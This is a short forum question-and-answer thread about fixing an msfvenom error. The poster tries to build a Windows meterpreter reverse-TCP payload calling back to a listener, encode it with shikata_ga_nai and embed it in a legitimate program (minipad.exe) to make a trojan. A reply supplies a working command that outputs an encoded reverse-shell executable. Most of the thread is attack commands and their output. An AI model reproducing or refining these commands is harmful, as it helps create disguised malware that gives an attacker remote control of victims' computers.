Reputation: 1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=8080 -a x86 R |msfvenom -e -t exe -x minipad.exe -k -o minipad123.exe -e x86/shikata_ga_nai -c 8
Attempting to read payload from STDIN...
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 299 bytes
Error: You must select an arch for a custom payload
The Architecture has been specified, yet the error persists
Any help??
Upvotes: 0
Views: 37575
Reputation: 11
IN kali linux 2.0 sana it necessary to provide information based on following formate
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai --format=exe > windows.exe
it is nessaary to specify the encoding type in kali 2.0
now run the code
change window.exe with location you deserve
Upvotes: 1